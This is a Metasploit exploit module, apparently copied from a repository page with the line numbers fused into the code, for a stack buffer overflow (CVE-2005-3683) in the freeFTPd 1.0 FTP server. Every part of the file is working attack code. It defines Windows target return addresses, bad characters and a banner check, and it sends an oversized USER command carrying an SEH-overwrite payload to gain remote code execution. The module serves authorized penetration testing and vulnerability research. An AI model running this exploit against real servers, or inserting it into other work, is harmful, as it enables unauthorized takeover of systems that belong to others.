Path: blob/master/modules/exploits/windows/ftp/freeftpd_user.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Ftp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'freeFTPd 1.0 Username Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the freeFTPd18multi-protocol file transfer service. This flaw can only be19exploited when logging has been enabled (non-default).20},21'Author' => 'MC',22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2005-3683'],25[ 'OSVDB', '20909'],26[ 'BID', '15457']27],28'Privileged' => false,29'Payload' => {30'Space' => 800,31'BadChars' => "\x00\x20\x0a\x0d",32'StackAdjustment' => -3500,33},34'Platform' => %w{win},35'Targets' => [36[37'Windows 2000 English ALL',38{39'Platform' => 'win',40'Ret' => 0x75022ac4,41},42],43[44'Windows XP Pro SP0/SP1 English',45{46'Platform' => 'win',47'Ret' => 0x71aa32ad,48},49],50[51'Windows NT SP5/SP6a English',52{53'Platform' => 'win',54'Ret' => 0x776a1799,55},56],57[58'Windows 2003 Server English',59{60'Platform' => 'win',61'Ret' => 0x7ffc0638,62},63],64],65'DisclosureDate' => '2005-11-16',66'Notes' => {67'Reliability' => UNKNOWN_RELIABILITY,68'Stability' => UNKNOWN_STABILITY,69'SideEffects' => UNKNOWN_SIDE_EFFECTS70}71)72)73end7475def check76connect77disconnect78if (banner =~ /freeFTPd 1\.0/)79return Exploit::CheckCode::Appears80end8182return Exploit::CheckCode::Safe83end8485def exploit86connect8788print_status("Trying target #{target.name}...")8990buf = rand_text_english(1816, payload_badchars)91seh = generate_seh_payload(target.ret)92buf[1008, seh.length] = seh9394send_cmd(['USER', buf], false)9596handler97disconnect98end99end100101102